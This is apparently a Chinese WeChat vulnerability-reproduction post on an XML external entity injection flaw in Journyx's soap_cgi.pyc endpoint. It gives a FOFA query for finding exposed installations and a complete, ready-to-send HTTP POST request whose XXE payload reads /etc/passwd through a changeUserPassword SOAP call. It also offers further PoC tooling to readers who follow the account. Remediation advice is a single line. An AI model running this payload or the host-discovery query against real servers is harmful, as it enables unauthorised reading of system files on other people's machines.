Journyx系统soap_cgi.pyc接口存在XML外部实体注入 附POC

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. Journyx简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

Journyx系统

2.漏洞描述

Journyx系统soap_cgi.pyc接口存在XML外部实体注入

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

Journyx系统

4.fofa查询语句

body="Journyx"

5.漏洞复现

漏洞链接：http://xx.xxx.xx.xxx/jtcgi/soap_cgi.pyc

漏洞数据包：

POST /jtcgi/soap_cgi.pyc HTTP/1.1
User-Agent: Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)Chrome/96.0.4664.93Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xx.xxx.xx.xxx
Content-Type: application/xml
Content-Length: 333

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>

6.POC&EXP

关注公众号 南风漏洞复现文库 并回复 漏洞复现137 即可获得该POC工具下载地址：

7.整改意见

打补丁

原文始发于微信公众号（南风漏洞复现文库）：Journyx系统soap_cgi.pyc接口存在XML外部实体注入 附POC